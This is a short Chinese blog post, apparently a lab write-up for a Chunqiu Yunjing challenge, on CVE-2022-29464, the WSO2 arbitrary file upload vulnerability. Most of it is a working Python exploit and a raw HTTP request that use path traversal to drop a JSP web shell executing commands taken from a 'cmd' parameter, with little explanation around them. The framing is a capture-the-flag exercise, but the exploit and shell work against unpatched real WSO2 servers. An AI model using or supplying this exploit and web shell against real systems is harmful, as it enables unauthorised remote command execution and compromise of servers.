春秋云镜CVE-2022-29464 （WSO2文件上传漏洞）

合集 - 网络安全(24)

1.SQL注入2024-08-312.XSS漏洞2024-08-313.文件上传漏洞2024-08-314.CSRF漏洞2024-08-315.SSRF漏洞2024-08-316.文件包含漏洞2024-08-317.代码执行命令2024-08-318.命令执行漏洞2024-08-319.变量覆盖漏洞2024-08-3110.代码审计笔记2024-08-3111.业务逻辑漏洞2024-09-0212.SRC-漏洞应急响应平台2024-09-0213.信息收集2024-09-0214.反序列化漏洞2024-09-0215.中间件安全2024-09-0216.等级保护基本要求2024-09-0217.应急响应简介2024-09-0218.框架漏洞-RCE2024-09-0219.dc-2靶机2024-09-0220.GOBY联合AWVS2024-09-0221.GOBY联合XRAY2024-09-02

22.春秋云镜CVE-2022-29464 （WSO2文件上传漏洞）2024-09-02

23.春秋云镜CVE-2022-28525（ED01-CMS v20180505 存在任意文件上传漏洞）2024-09-0224.春秋云镜CVE-2022-285122024-09-02

收起

目录

一：访问靶机：

2：根据提示知道可以文件上传

3：两个方法

一：访问靶机：

2：根据提示知道可以文件上传

3：我们两个方法
1：使用EXP
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

url = input("请输入URL：")
file = "shell.jsp"
payload = """

<%@ page import="java.io.*" %> <% String cmd = request.getParameter("cmd"); String output = ""; if(cmd != null) { String s = null; try { Process p = Runtime.getRuntime().exec(cmd,null,null); BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream())); while((s = sI.readLine()) != null) { output += s+"
"; } } catch(IOException e) { e.printStackTrace(); } } %>

<%=output %>

"""

files = {f"../../../../repository/deployment/server/webapps/authenticationendpoint/{file}": payload}
response = requests.post(f'{url}/fileupload/toolsAny', files=files, verify=False)
print(f"shell @ {url}/authenticationendpoint/{file}")

直接访问。拿到flag

2：使用burp抓包修改参数

poc
POST /fileupload/toolsAny HTTP/1.1
Host: eci-2ze2knq7i9q2kvy9rhta.cloudeci1.ichunqiu.com:9443
Accept: /
Accept-Encoding: gzip, deflate
Content-Length: 901
Content-Type: multipart/form-data; boundary=4ef9f369a86bfaadf5ec3177278d49c0
User-Agent: python-requests/2.22.0

--4ef9f369a86bfaadf5ec3177278d49c0
Content-Disposition: form-data; name="../../../../repository/deployment/server/webapps/authenticationendpoint/shell.jsp"; filename="../../../../repository/deployment/server/webapps/authenticationendpoint/shell.jsp"

<%@ page import="java.io.*" %> <% String cmd = request.getParameter("cmd"); String output = ""; if(cmd != null) { String s = null; try { Process p = Runtime.getRuntime().exec(cmd,null,null); BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream())); while((s = sI.readLine()) != null) { output += s+"
"; } } catch(IOException e) { e.printStackTrace(); } } %>

<%=output %>

--4ef9f369a86bfaadf5ec3177278d49c0-- 

__EOF__

本文作者：Crushz
本文链接：https://www.cnblogs.com/Crushz-2024/p/18392108.html
关于博主：Crushz
版权声明：转载请注明来源哟~ QAQ
声援博主：UP UP UP !!!